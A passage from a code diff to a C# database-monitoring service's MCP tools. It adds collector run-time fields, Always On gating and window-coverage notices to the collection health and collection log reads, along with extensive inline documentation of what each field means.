fleet-scoped retry today. On Lite both read zero as a property of the SKU and not of a quiet store: Lite's alerting reads carry no command deadline, so there is no deadline to cross and nothing to retry. counting_since is when this process began counting, early in its own startup - these are in-memory counts and a restart takes them to zero, so a zero means \"none since counting_since\" and NOT \"none in seven days\"; check the stamp before reading the zero as reassurance. Deliberately not persisted, because what it counts is a failure to READ the store. It does NOT count alerts that failed to DELIVER and makes no claim about them - that is get_alert_history's question. And deliberately not a band, for the same reason the output figures are not: any threshold over it would have to guess how many blind reads make alerting unhealthy, and a wrong guess on this particular surface fails by saying nothing is wrong. The service block beside alert_read_health is the build-attribution read: nothing else on this surface says WHAT build is answering, so the question an operator watching an install actually asks - \"is the running service the build that carries fix X\" - is answered by version directly instead of by restart inference plus a merge-list lookup the watcher has no way to perform. version is the running build's informational version - the same read the Darling service's --version verb prints, with any SemVer build-metadata suffix stripped and the prerelease suffix KEPT, because the nightly stamp lives in the prerelease and one nightly differs from the next in nothing else; Lite has no version verb and reads the same attribute off its own app assembly, stamped from the same single declaration. counting_since remains the restart detector, and a restart is NOT a build: a crash-restart moves counting_since exactly the way an install does, which is why inferring a build from it misattributes. started_at is the SAME instant counting_since carries, deliberately - both mean \"when this process came up\", and a second clock for one fact would put two near-identical stamps on one payload whose skew a reader would have to explain away. compiled_schema_version is the schema rung this BUILD expects - the compiled constant, not a read of the store's migrated rung - so beside version it says what this build requires of the store it serves, whether or not that store has caught up. When a recent analysis pass could not read one of its fact families for this server, the payload also carries analysis_caveats (analysis_time, families_failed, families_total, entries[{family, read, outcome, message, failed_in_last_passes}]) — the analysis pass's own reads of the collectors' tables, a different layer from the collector rows; absent when the last 24 remembered passes were clean. Process memory: a service restart forgets. full_detail (#4198): every collector row above defaults to a compact shape - collector, status, compact, total_runs, rows_stored, avg_duration_ms, last_success - for a collector that is HEALTHY with zero errors, session_missing, extension_missing, permission_denied and abandoned runs this window, not regressed, and either stored rows or is a known event collector reading zero at rest. Any other row - failing, stale, stopped, erroring, denied, regressed, or a non-event collector's unexplained zero - is never dropped and never silently shortened to that seven-field shape: it gets partial_detail: true instead of compact, and a leaner shape naming what is wrong and since when - collector, status, partial_detail, total_runs, errors, session_missing, abandoned, rows_stored, last_success, last_error, last_error_truncated, last_error_at, last_denied_at, denied_since_last_success, regressed_from_productive, regression_finding, output_finding, output_finding_truncated - rather than every field named earlier in this guide. Pass full_detail=true for every field on every row regardless of health or tier. collector_detail_note on the envelope names how many rows compacted, how many took the leaner shape, and how full_detail restores each. Run time (#4938): a collector that runs once a day or less often can have a run time, a fixed time of day on the monitored server's own clock. run_at is that time as 24-hour HH:MM, or null when the collector has none. next_run_utc is when the collector is next due, in UTC, or null when it has no run time or is disabled. It is the run time plus this server's fixed spread of under 60 minutes, so a fleet-wide run time does not start every server in the same minute, and a run may start up to 60 minutes after it. When next_run_utc equals the time of the read, the collector is due now and has not run for this slot yet. A day missed past those 60 minutes is skipped, never replayed, so a collector that skipped a day reads STALE before its next run (a daily collector goes stale after 36 hours). run_time_note says so: how long the collector has not run, the stale line it is past, and when the next run is due. On Lite it also names the slot, in the form run_at uses, and says Lite collects only while it is open. run_time_note is null when no day was skipped, and while the collector is due now or disabled. A server whose clock is not known yet reads the run time as UTC. A run time does not change the health bands, which stay on the shipped cadence, and frequency_minutes elsewhere in this payload is still the shipped cadence. A full row always carries run_at, next_run_utc and run_time_note, each null when the collector has no run time. A partial row (a collector that needs a look) and a compact row (a healthy collector with nothing to report) carry run_at and next_run_utc only when the collector has a run time, so a partial or compact row without them has none. A partial row carries run_time_note under the same condition, and a compact row never carries it, because a skipped day is not healthy.")]
+    public static Task<string> GetCollectionHealth(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Return every field for every collector. Default compacts a HEALTHY collector with nothing to report; failing, stale, stopped, erroring, denied or regressed collectors always keep every field.")] bool full_detail = false,
-        CancellationToken cancellationToken = default)
+        Microsoft.Extensions.Logging.ILogger? logger = null,
+        CancellationToken cancellationToken = default) =>
+        GetCollectionHealthCoreAsync(postgres, server_name, full_detail, uncutText: false, logger, cancellationToken);
+
+    /// <summary>
+    /// The diagnostics bundle's read: the default shape with <c>last_error</c> and <c>output_finding</c> whole. The bundle
+    /// aliases the text first and cuts it afterwards, so a name that straddles the tool's own cut is never left as a prefix.
+    /// Not a tool: the MCP surface, its parameters and its output are the ones <see cref="GetCollectionHealth"/> has.
+    /// </summary>
+    internal static Task<string> GetCollectionHealthUncut(NpgsqlDataSource postgres, string? server_name, CancellationToken cancellationToken) =>
+        GetCollectionHealthCoreAsync(postgres, server_name, full_detail: false, uncutText: true, logger: null, cancellationToken);
+
+    private static async Task<string> GetCollectionHealthCoreAsync(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        bool full_detail,
+        bool uncutText,
+        Microsoft.Extensions.Logging.ILogger? logger,
+        CancellationToken cancellationToken)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -1285,20 +1647,43 @@ that one. */
             if (rows.Count == 0)
                 return McpHelpers.Status("unavailable", "No collection health data available.");
 
-            var compactCount = full_detail ? 0 : rows.Count(IsCollectionHealthCompactEligible);
+            /* #4938: a collector's run time, read fresh and AFTER the memo. The rows above are held for a minute and
+               the run time is an operator setting, so a time that was just set shows on the next call. It is never an
+               input to the band: HealthStatus is classified from the shipped cadence inside the aggregate. */
+            var runTimes = await DarlingCollectorRunTimeReader.ReadAsync(postgres, resolved.ServerId, rows, nowUtc, logger, cancellationToken);
+
+            /* Click-through 5: on a SQL Server that does not have Always On, the two AG collectors run, find nothing and
+               log HEALTHY with zero rows, and the zero-output sentence then called a persistent zero something that "needs a
+               look". They are shown as not applicable instead (a not_collected row saying why), exactly where the server's
+               latest properties say Always On is off. A server with no properties row yet makes no claim. The rows still
+               feed the sweep arithmetic below: this only changes what the response lists. An AG collector whose band is not
+               HEALTHY keeps its real row (L5): a failing collector must keep its Last Error. */
+            var alwaysOnOff = await DarlingGatedCollectorRows.AlwaysOnOffAsync(postgres, resolved.ServerId, cancellationToken);
+            List<CollectorHealth> shownRows = alwaysOnOff
+                ? DarlingGatedCollectorRows.RowsShownWhenAlwaysOnOff(rows)
+                : rows;
+
+            var compactCount = full_detail ? 0 : shownRows.Count(IsCollectionHealthCompactEligible);
             /* #4198's second cut: a row that fails the predicate above used to keep the full ~30-field shape
                below regardless of full_detail. Measured on both SKUs' #4198 fixtures that alone could not clear
                the response budget -- the weight is 30+ small fields times every row that needs a look, which
                previewing free text cannot touch -- so that row now gets PartialCollectionHealthRow instead,
                unless full_detail=true asks for everything. */
-            var partialCount = full_detail ? 0 : rows.Count - compactCount;
-            var result = rows.Select(r => full_detail
-                ? (object)FullCollectionHealthRow(r)
-                : IsCollectionHealthCompactEligible(r)
-                    ? (object)CompactCollectionHealthRow(r)
-                    : (object)PartialCollectionHealthRow(r));
-
-            static object FullCollectionHealthRow(CollectorHealth r) => new
+            var partialCount = full_detail ? 0 : shownRows.Count - compactCount;
+            var result = shownRows.Select(r =>
+            {
+                runTimes.TryGetValue(r.CollectorName, out var runTime);
+                return full_detail
+                    ? (object)FullCollectionHealthRow(r, runTime)
+                    : IsCollectionHealthCompactEligible(r)
+                        ? (object)CompactCollectionHealthRow(r, runTime)
+                        : (object)PartialCollectionHealthRow(r, runTime, uncutText ? int.MaxValue : ErrorMessagePreviewLength, uncutText ? int.MaxValue : OutputFindingPreviewLength);
+            });
+            result = result.Concat(await DarlingGatedCollectorRows.AppendAsync(postgres, resolved.ServerId, resolved.ServerName, rows, cancellationToken));
+            if (alwaysOnOff)
+                result = result.Concat(DarlingGatedCollectorRows.AlwaysOnOffRows(rows));
+
+            static object FullCollectionHealthRow(CollectorHealth r, CollectorRunTimeReading? runTime) => new
             {
                 collector = r.CollectorName,
                 status = r.HealthStatus,
@@ -1457,7 +1842,17 @@ run is one blended row however many databases it covered. */
                     run_ms = r.SlowestRunDurationMs,
                     slowest_share_pct = Math.Round(r.FanoutSlowestSharePercent!.Value, 2),
                     dominance = Math.Round(r.FanoutDominance.Value, 2)
-                }
+                },
+                /* #4938: the collector's run time, appended after the last field so nothing a consumer indexes by
+                   position moved. run_at is the configured time as HH:MM on the monitored server's clock; null
+                   means the collector has no run time. next_run_utc is when it is next due, UTC: the run time plus
+                   the server's fixed spread, and the time of this read when the collector is due now. Null with a
+                   run_at present means the collector is disabled. run_time_note is set only when a day was skipped:
+                   no run for longer than the stale line while the next slot is still ahead. None of the three is a
+                   band input. */
+                run_at = runTime?.RunAt,
+                next_run_utc = runTime?.NextRunUtcText,
+                run_time_note = runTime?.SkippedDayNote
             };
 
             /* #2296: the roll-up that makes half-rate collection visible. Every collector on a saturated
@@ -1465,10 +1860,15 @@ server reads HEALTHY — from each one's own seat nothing is wrong — so the co
                existed as a service-log warning ("collection body has not completed … skipping relaunch").
                The verdict compares the collectors' combined execution demand (average duration amortized
                by cadence) against the minute the fastest cadence holds; heaviest_collectors names where
-               the budget goes, which is the actionable half of the answer. */
-            var pressure = SweepPressureClassifier.Compute(
-                rows.Select(r => (r.CollectorName, r.AvgDurationMs, r.P95DurationMs, r.FrequencyMinutes)));
-            var heaviest = rows
+               the budget goes, which is the actionable half of the answer.
+
+               #4999: of the collectors that run IN the body only. A collector that runs detached (every
+               daily one, and query_store, plan_correction, pg_wait_sampling) runs beside the body, so its
+               single-run cost is not a cost the body pays: charged to it, index_object_stats read as the
+               collector that owns a body it never ran in. One filter feeds both readings, so the roll-up and
+               the heaviest list describe the same population. */
+            var pressure = SweepPressureClassifier.Compute(SweepBodyCollectors(rows));
+            var heaviest = SweepBodyRows(rows)
                 .Where(r => r.FrequencyMinutes > 0 && r.AvgDurationMs > 0)
                 .OrderByDescending(r => r.AvgDurationMs / r.FrequencyMinutes)
                 .Take(3)
@@ -1479,6 +1879,9 @@ server reads HEALTHY — from each one's own seat nothing is wrong — so the co
                     p95_duration_ms = Math.Round(r.P95DurationMs, 0),
                     max_duration_ms = Math.Round(r.MaxDurationMs, 0),
                     frequency_minutes = r.FrequencyMinutes,
+                    /* #4938: the run time beside the shipped cadence it replaces for a daily collector; null when the
+                       collector has none. The web table shows it next to "Every (min)". */
+                    run_at = runTimes.TryGetValue(r.CollectorName, out var heaviestRunTime) ? heaviestRunTime.RunAt : null,
                     /* #2446: the ranking key said out loud, beside the single-run cost it is derived from.
                        The list still ranks by amortized contribution, because that is what explains
                        busy_percent — but an operator reading it to find the collector that overran a body
@@ -1530,7 +1933,8 @@ pins that agreement from source rather than trusting it. */
                WRITES nulls, so a property would ship analysis_caveats: null on every clean answer — and it reads
                the process-wide ledger because the scheduled sweep builds a fresh analysis service per pass.
                A different layer from the collector rows above: 43 healthy collectors above a family the pass timed out reading. */
-            return JsonSerializer.Serialize(CollectionCaveatLedger.Shared.Attach(new
+            var collectionCaveats = await DarlingCollectionCaveatReader.ReadAsync(postgres, resolved.ServerId, logger, cancellationToken);
+            var healthJson = JsonSerializer.Serialize(CollectionCaveatLedger.Shared.Attach(new
             {
                 server = resolved.ServerName,
                 /* #3453: the build-attribution read. Nothing else on the MCP surface says WHAT build is
@@ -1699,6 +2103,7 @@ nothing an existing consumer indexes by position moved — the same placement ru
                    column of the statement behind it follows. */
                 collection_health_age_seconds = collectionHealthAgeSeconds
             }, resolved.ServerId, McpHelpers.JsonOptions), McpHelpers.JsonOptions);
+            return DarlingCollectionCaveatReader.AttachToJson(healthJson, collectionCaveats);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -1706,6 +2111,25 @@ column of the statement behind it follows. */
         }
     }
 
+    /// <summary>
+    /// #4999: the collectors whose single-run cost the server's sequential pass pays: every row except those that
+    /// run detached from it. The test is <see cref="DarlingWorker.RunsDetached"/>, the one the worker's dispatch
+    /// uses, so this reading and the pass cannot disagree about what runs in the body. The cadence it is given is
+    /// the row's, which the health read stamped with the interval the collector is scheduled at on this server
+    /// (a per-server override, else the fleet-wide one, else the shipped default: the worker's own resolution),
+    /// so an override that moves a collector across the daily line moves it in this read exactly as it moves it
+    /// in the worker's dispatch.
+    /// </summary>
+    internal static IEnumerable<CollectorHealth> SweepBodyRows(IEnumerable<CollectorHealth> rows) =>
+        rows.Where(r => !DarlingWorker.RunsDetached(r.CollectorName, r.FrequencyMinutes));
+
+    /// <summary>
+    /// #4999: <see cref="SweepBodyRows"/> in the shape <see cref="SweepPressureClassifier.Compute"/> takes.
+    /// </summary>
+    internal static IEnumerable<(string CollectorName, double AvgDurationMs, double P95DurationMs, int FrequencyMinutes)> SweepBodyCollectors(
+        IEnumerable<CollectorHealth> rows) =>
+        SweepBodyRows(rows).Select(r => (r.CollectorName, r.AvgDurationMs, r.P95DurationMs, r.FrequencyMinutes));
+
     /* #4198: the default-argument size cut for get_collection_health, which unlike a row-limited tool has no
        row to drop — every collector on the server is one row, and a health read must never hide one that is
        failing, stale, disabled or erroring by leaving it off the page. So the cut is per-FIELD instead: a
@@ -1737,16 +2161,32 @@ private static bool IsCollectionHealthCompactEligible(CollectorHealth r) =>
     /// without the ~30 fields a row with nothing to report does not need. <c>compact: true</c> is the caller's
     /// signal that this row was shortened — a full row never carries the property, so its mere presence is
     /// unambiguous without a second lookup against <c>full_detail</c>.</summary>
-    private static object CompactCollectionHealthRow(CollectorHealth r) => new
-    {
-        collector = r.CollectorName,
-        status = r.HealthStatus,
-        compact = true,
-        total_runs = r.TotalRuns,
-        rows_stored = r.RowsStored,
-        avg_duration_ms = Math.Round(r.AvgDurationMs, 0),
-        last_success = r.LastSuccessTime?.ToString("o"),
-    };
+    private static object CompactCollectionHealthRow(CollectorHealth r, CollectorRunTimeReading? runTime) => runTime is null
+        ? new
+        {
+            collector = r.CollectorName,
+            status = r.HealthStatus,
+            compact = true,
+            total_runs = r.TotalRuns,
+            rows_stored = r.RowsStored,
+            avg_duration_ms = Math.Round(r.AvgDurationMs, 0),
+            last_success = r.LastSuccessTime?.ToString("o"),
+        }
+        /* #4938: a compact row exists to stay small, so two null keys on every one of ~40 rows would only make it
+           bigger. A compact row carries the run time only when the collector has one, which is the row that needs it:
+           a healthy daily collector is exactly what compacts by default. A compact row without the keys has none. */
+        : new
+        {
+            collector = r.CollectorName,
+            status = r.HealthStatus,
+            compact = true,
+            total_runs = r.TotalRuns,
+            rows_stored = r.RowsStored,
+            avg_duration_ms = Math.Round(r.AvgDurationMs, 0),
+            last_success = r.LastSuccessTime?.ToString("o"),
+            run_at = (string?)runTime.RunAt,
+            next_run_utc = runTime.NextRunUtcText,
+        };
 
     /// <summary>#4198: the shape a row that FAILS <see cref="IsCollectionHealthCompactEligible"/> gets by
     /// default -- neither the full ~30-field shape nor <see cref="CompactCollectionHealthRow"/>'s "nothing to
@@ -1758,12 +2198,13 @@ private static bool IsCollectionHealthCompactEligible(CollectorHealth r) =>
     /// scanning for <c>compact != true</c> never skips it, and reusing that marker here would defeat that check
     /// silently. full_detail=true restores every field named in the guide above, same as it does for a compact
     /// row. Field-for-field Lite's twin.</summary>
-    private static object PartialCollectionHealthRow(CollectorHealth r)
+    private static object PartialCollectionHealthRow(CollectorHealth r, CollectorRunTimeReading? runTime, int errorPreview, int findingPreview)
     {
         /* OutputFinding recomputes FormatOutputFinding's sentence on every access -- read it once rather than
            twice (preview, then the truncated comparison). */
         var outputFinding = r.OutputFinding;
-        return new
+        return runTime is null
+        ? new
         {
             collector = r.CollectorName,
             status = r.HealthStatus,
@@ -1781,8 +2222,8 @@ private static object PartialCollectionHealthRow(CollectorHealth r)
             abandoned = r.AbandonedCount,
             rows_stored = r.RowsStored,
             last_success = r.LastSuccessTime?.ToString("o"),
-            last_error = McpHelpers.Truncate(r.LastError, ErrorMessagePreviewLength),
-            last_error_truncated = r.LastError is not null && r.LastError.Length > ErrorMessagePreviewLength,
+            last_error = McpHelpers.Truncate(r.LastError, errorPreview),
+            last_error_truncated = r.LastError is not null && r.LastError.Length > errorPreview,
             last_error_at = r.LastErrorTime?.ToString("o"),
             last_denied_at = r.LastDeniedTime?.ToString("o"),
             denied_since_last_success = r.DeniedSinceLastSuccess,
@@ -1792,8 +2233,38 @@ private static object PartialCollectionHealthRow(CollectorHealth r)
                output_finding: both regression sentences are fixed templates around a count, an instant and
                a status word (about 200 characters at most), and only a regressed row carries one at all. */
             regression_finding = r.AnyRegressionFinding,
-            output_finding = McpHelpers.Truncate(outputFinding, OutputFindingPreviewLength),
-            output_finding_truncated = outputFinding is not null && outputFinding.Length > OutputFindingPreviewLength,
+            output_finding = McpHelpers.Truncate(outputFinding, findingPreview),
+            output_finding_truncated = outputFinding is not null && outputFinding.Length > findingPreview,
+        }
+        /* #4938: a partial row carries the run time only when the collector has one, like a compact row, so a collector with
+           none adds no bytes to a payload that is sized to sit under the default budget. A partial row without run_at and
+           next_run_utc has no run time. Lite's twin carries the same two fields under the same rule. run_time_note rides
+           under that condition too: only a collector with a run time can skip a day, so a partial row for a collector with
+           none has nothing to say and no key, and the note is null unless a day was skipped. A skipped day reads STALE or
+           worse, so its row is never a compact one: the note has no compact twin. The full row always carries it. */
+        : new
+        {
+            collector = r.CollectorName,
+            status = r.HealthStatus,
+            partial_detail = true,
+            total_runs = r.TotalRuns,
+            errors = r.ErrorCount,
+            session_missing = r.SessionMissingCount,
+            abandoned = r.AbandonedCount,
+            rows_stored = r.RowsStored,
+            last_success = r.LastSuccessTime?.ToString("o"),
+            last_error = McpHelpers.Truncate(r.LastError, errorPreview),
+            last_error_truncated = r.LastError is not null && r.LastError.Length > errorPreview,
+            last_error_at = r.LastErrorTime?.ToString("o"),
+            last_denied_at = r.LastDeniedTime?.ToString("o"),
+            denied_since_last_success = r.DeniedSinceLastSuccess,
+            regressed_from_productive = r.AnyRegression,
+            regression_finding = r.AnyRegressionFinding,
+            output_finding = McpHelpers.Truncate(outputFinding, findingPreview),
+            output_finding_truncated = outputFinding is not null && outputFinding.Length > findingPreview,
+            run_at = (string?)runTime.RunAt,
+            next_run_utc = runTime.NextRunUtcText,
+            run_time_note = runTime.SkippedDayNote,
         };
     }
 
@@ -1966,14 +2437,14 @@ did not RUN when it ran and merely did not match. */
     /// the (fleet) sentinel's SUCCESS rows, where error_message carries the tick's counts rather than a
     /// fault — a long summary line is previewed the same as a long fault.
     /// </summary>
-    private const int ErrorMessagePreviewLength = 500;
+    internal const int ErrorMessagePreviewLength = 500;
 
     /// <summary>#4198: PartialCollectionHealthRow.output_finding's preview length -- shorter than
     /// <see cref="ErrorMessagePreviewLength"/> because it previews a template sentence (FormatOutputFinding),
     /// not a driver/engine error string, and because #4198 measured it as the single dominant cost on a fixture
     /// where every row needs a look and the finding is populated on all of them (~600 B untruncated, on
     /// average). Field-for-field Lite's twin.</summary>
-    private const int OutputFindingPreviewLength = 200;
+    internal const int OutputFindingPreviewLength = 200;
 
     [McpServerTool(Name = "get_collection_log"), Description("Raw per-run collector log: duration split into monitored-server and store-write time, rows, status, error. NEWEST FIRST by default; min_duration_ms flips it to SLOWEST FIRST, ranked by cost. hours_back is the ask; oldest/newest_returned_collection_time bound what you actually got — under a min_duration_ms floor that is the cost-ranked sample's age, not reach. Filters apply before the cap; truncated/run_count reflect matches. status is the failure filter: an unknown value is refused, never silently empty. get_collection_health is the rollup; this is the underlying runs. <<GUIDE>> Gets the RAW per-run collection log for a server, NEWEST FIRST by default and SLOWEST FIRST whenever min_duration_ms is supplied: one row per collector run with its total duration, the part spent querying the monitored server, the part spent writing to the store, rows collected, status and any error. error_message is a preview by default (ErrorMessagePreviewLength characters, error_message_truncated marks a cut); full_text returns it whole (#4198). get_collection_health rolls seven days of these into a per-collector verdict; this is the underlying runs, which is what you need when the rollup says healthy and collection still looks wrong, or when you want to see what a collector was doing during a specific incident window. READ THE PAGE-SPAN FIELDS BEFORE CONCLUDING ANYTHING FROM THE ROWS. hours_back is the span you ASKED for; oldest_returned_collection_time and newest_returned_collection_time bound the page you GOT, and on a busy fleet those are wildly different — roughly 500 log rows a minute across 50 servers means a 24-hour request at the 200-row default is satisfied by about the last 25 seconds of activity. truncated says the cap bit; the two timestamps say what the page holds. THE TWO FIELDS MEAN DIFFERENT THINGS UNDER THE TWO ORDERINGS and the difference matters: under the default newest-first ordering the page is a contiguous slice of the window's tail, so oldest_returned_collection_time IS how far back this read reached; under a min_duration_ms floor the page is a cost-RANKED sample drawn from the whole window, so it tells you how old the slowest matching runs are and NOTHING about reach. Read order to know which you have. Neither field is a window floor: nothing here probes for the oldest row the window could have held. A read whose newest and oldest are seconds apart has told you nothing about the window you named, and raising limit does NOT fix it under the default ordering because the slow runs are not the recent ones — min_duration_ms is the knob for that, because supplying it ranks by duration instead of by time. All THREE filters are applied in SQL, BEFORE the cap, so truncated and run_count describe the MATCHING rows rather than the unfiltered window. order names which ordering you got, so a caller never has to infer it from the filters it sent. status IS THE FAILURE-HUNTING FILTER and the reason to reach for this tool during an incident: 'show me the failures' is the most common question asked of this log, and without it a caller pages the newest-first tail eyeballing status — which the page-span contract above explains cannot work, because a 200-row page on a busy fleet covers seconds and raising limit does not reach a failure that happened twenty minutes ago. Pass one of SUCCESS, SKIPPED, YIELDED, ABANDONED, ERROR, PERMISSIONS, EXTENSION_MISSING, SESSION_MISSING, WARNING (case-insensitive); an unknown value is REFUSED and the refusal names the whole set, rather than being applied as an equality filter that returns an empty page a caller would read as 'no failures'. get_collection_health is not this question's answer either: it carries one last_error per collector over a seven-day rollup, not the runs, their timestamps or their sequence — which is what says whether every collector failed at 03:41 or one collector failed all night. A status filter changes the page from a contiguous tail to a filtered one, so read the two page-span timestamps the same way you would under a duration floor. The filter you sent is echoed back as status_filter (not status, which on an empty result is the miss word instead), in the stored UPPERCASE spelling whatever case you sent. Also carries the phase decomposition where the run recorded one, as nested blocks that are null when the run took a path that does not report them — and a row carries at most ONE family. Server-scoped collectors fill sql_phases (open_ms, drain_ms, other_ms which is derived, watermark_ms) and drain (rows_read, bytes_read, last_read_ms, target_session_id). Per-database collectors that perform a deferred plan or statement-text fetch instead fill plan_fetch and/or text_fetch, each carrying probe_ms, target_ms, write_ms, ids_attempted and probe_ids summed across that run's databases. sweep_peer_max_ms is flat and present on every row: it is the slowest peer collector in the same sweep, the denominator for asking whether a slow run was slow alone or the whole sweep was. A null block means the run took the other path, not that the phase was free — most runs perform no deferred fetch at all. Divide target_ms by ids_attempted for the per-id target cost, probe_ms by probe_ids for the per-reference probe cost. CRITICAL for reading sql_duration_ms on a fetching collector: it is NOT purely target-side there. The deferred fetches run inside the driver's per-item SQL stopwatch and each one round-trips the MONITORING STORE to decide what plan XML and statement text are already held before writing back what came off the target, so the store's probe and write are billed to the column documented as the monitored server's. The probe is the largest single term in both fetches on this fleet — 55.4% of plan_fetch and 80.6% of text_fetch — and on one production run it was 107,334 ms of a 124,972 ms sql_duration_ms, 86%, against a plan-plus-text target time of 6,494 ms. sql_store_ms is that store share, derived from the two fetch blocks (probe_ms + write_ms of each) and null when no fetch ran. It is a FLOOR, not the whole: the per-item watermark refresh is also a store read inside the same stopwatch, the enumerated path records no watermark_ms, and that component is stored nowhere — so sql_duration_ms minus sql_store_ms is an UPPER bound on target-side time rather than the target-side time. store_duration_ms is not where the probe went either: it is the binary COPY of the collected rows and nothing else. Do NOT conclude a monitored server is slow from a large sql_duration_ms on query_store without reading sql_store_ms beside it. THE RESERVED server_name (fleet) READS THE FLEET-MAINTENANCE RUN-RECORDS instead of a monitored server's collector runs: the passes that iterate the whole fleet have no one server to attribute a run to, so they log under a sentinel that is not in the server list — data_retention for the daily purge, oversized_plan_sweep for the fifteen-minute oversized-plan backlog drain. Read those rows by their ABSENCE as much as their contents: every tick writes one whatever it found, including a tick that found an empty backlog and captured nothing, so rows_collected = 0 means the pass ran and had nothing to fetch while a MISSING row past the pass's cadence means the pass did not run at all. That is the only way to tell those two apart. error_message carries the tick's counts on a SUCCESS row (servers swept, plans claimed, captured, expired, fetch failures); sql_duration_ms is the time inside the monitored-server fetches and store_duration_ms the rest of the tick. These rows are excluded from get_collection_health and from get_fleet_overview by design — they are maintenance passes, not collectors, so a per-server staleness ladder does not apply to them. Five parameters carry more guidance than their 200-character cap allows; the rest of each below. collector_name: A name this server has never run returns the no-matches status rather than a quiet-window one. min_duration_ms: Applied in SQL before the cap. 0 is a real value: it admits every run and is how you ask for the whole window ranked by cost. A negative is refused. Omit for no floor and newest-first order. status: THE FAILURE FILTER — 'show me the failures' is what this log exists to answer, and paging the newest-first tail cannot reach a failure that is not recent. An unknown value is REFUSED, naming the accepted set, rather than applied as a filter that matches nothing. Omit for every status. server_name: Omitted, blank, or \"*\" reads the WHOLE FLEET (#4199) — every enabled server's runs, merged and ranked together, each row carrying server_name — instead of one server; this is different from the reserved name (fleet), which still reads the fleet-MAINTENANCE run-records and still requires being named exactly. limit: Default McpResponseBudget.CollectionLogPerServerDefaultLimit (58) for one server (#4198: sized so a default call stays under the shared response-size target on the wider SQL Server-target row shape). The fleet-wide form (server_name omitted or \"*\") defaults instead to McpResponseBudget.CollectionLogFleetDefaultLimit, sized the same way; pass limit explicitly for more rows either way.")]
     public static async Task<string> GetCollectionLog(
@@ -2008,6 +2479,7 @@ this list so no positional C# caller changes meaning. error_message is the tool'
             full_text.
         */
         [Description("Return each run's error_message in full instead of a preview. Default false.")] bool full_text = false,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         /* #4199: server_name OMITTED, blank, or "*" means the WHOLE FLEET rather than "auto-select the
@@ -2093,6 +2565,17 @@ same field name. */
             var truncated = rows.Count > effectiveLimit;
             if (truncated) rows = rows.Take(effectiveLimit).ToList();
 
+            /* #4966: where the LOG's coverage of the window starts, in the three keys every window-floor tool writes. The probe reads
+               the log whole (DataWindowFloor.Source.ForCollectionLog) and ignores collector_name, min_duration_ms and status ON
+               PURPOSE: the notice says where the log starts for this server, not where one filter's matches do, and a quiet collector
+               inside a covered window is the filtered answer's own sentence. An answer with rows over a window of 90 minutes or less
+               needs no probe; an empty one is always probed. The fleet form carries no notice (no one server's start exists for it),
+               and neither do the unavailable answer or the fleet-maintenance sentinel (not a registered server). */
+            var rowCount = rows.Count;
+            Task<McpWindowNotice> ReadNoticeAsync() => DarlingMcpWindowNotice.ReadAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, DataWindowFloor.Source.ForCollectionLog(), resolved.ServerName, start, end, cancellationToken),
+                start, end, "collection_log", emptyAnswer: rowCount == 0, logger: logger, cancellationToken: cancellationToken);
+
             var filtered = !string.IsNullOrWhiteSpace(collector_name)
                 || min_duration_ms is not null
                 || !string.IsNullOrWhiteSpace(status);
@@ -2145,16 +2628,22 @@ FleetMaintenanceLogMiss. The server branches below are untouched. */
                         $"No collector runs have EVER been recorded for {resolved.ServerName}. This is not an empty window — collection has not run at all for this server. Check that the service is running and that the server is enabled for collection; get_collection_health will be equally empty until it does.");
                 }
 
+                var emptyNotice = await ReadNoticeAsync();
+
                 if (filtered)
                 {
                     return McpHelpers.Status(
                         "empty",
-                        $"No collector runs on {resolved.ServerName} in the last {hours_back} hour(s) matched {McpHelpers.DescribeCollectionLogFilters(collector_name, min_duration_ms, status)}. This says nothing about the window as a whole — the filters were applied, so unfiltered runs may well exist. Drop them to see what the window holds, and check collector_name against the names get_collection_health lists, since it is matched exactly.");
+                        $"No collector runs on {resolved.ServerName} in the last {hours_back} hour(s) matched {McpHelpers.DescribeCollectionLogFilters(collector_name, min_duration_ms, status)}. This says nothing about the window as a whole — the filters were applied, so unfiltered runs may well exist. Drop them to see what the window holds, and check collector_name against the names get_collection_health lists, since it is matched exactly.", emptyNotice.AsHints());
                 }
 
                 return McpHelpers.Status(
                     "empty",
-                    $"No collector runs recorded for {resolved.ServerName} in the last {hours_back} hour(s). This server HAS collected before, so this window is genuinely quiet rather than broken — widen hours_back to find the most recent runs.");
+                    McpHelpers.QuietUnlessCut(
+                        emptyNotice.WindowTruncated, emptyNotice.EffectiveStart,
+                        factual: $"No collector runs recorded for {resolved.ServerName} in the last {hours_back} hour(s)",
+                        coveredClaim: ". This server HAS collected before, so this window is genuinely quiet rather than broken — widen hours_back to find the most recent runs."),
+                    emptyNotice.AsHints());
             }
 
             var result = rows.Select(r => new
@@ -2279,12 +2768,18 @@ emits its two sub-lines. Emitted raw rather than pre-divided into ms-per-id -- t
                 },
             });
 
-            return JsonSerializer.Serialize(new
+            var notice = await ReadNoticeAsync();
+            var payload = new
             {
                 server = resolved.ServerName,
                 /* The span REQUESTED. Kept under its shipped name, and no longer the only span reported --
                    see the two timestamps below. */
                 hours_back = hours_back,
+                /* #4966: the window floor, right after hours_back. No effective_hours_back: this payload carries a page `truncated`, and
+                   the census holds that key apart from the window floor, so the reach is the instant. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 run_count = rows.Count,
                 /* Observed by the over-fetch above, not inferred from the row count. */
                 truncated,
@@ -2318,8 +2813,9 @@ cannot bound the page from the oldest alone.
                     only under time ordering, and the ranked page would silently report the wrong ends
                     while the time-ordered test kept passing.
                 */
-                oldest_returned_collection_time = rows.Min(r => r.CollectionTime).ToString("o"),
-                newest_returned_collection_time = rows.Max(r => r.CollectionTime).ToString("o"),
+                /* #4966: where the page's rows stop describes the window it covers, so it prints like effective_start (UTC, with the Z), and so does the newest bound (#5015); the rows' own times stay as the store holds them. */
+                oldest_returned_collection_time = McpHelpers.FormatEffectiveStart(rows.Min(r => r.CollectionTime)),
+                newest_returned_collection_time = McpHelpers.FormatEffectiveStart(rows.Max(r => r.CollectionTime)),
                 /* Which ordering the page actually came back in. Stated rather than left to be inferred
                    from whether min_duration_ms was sent, because the first sentence of this tool's
                    description is the only other place that coupling is written down. */
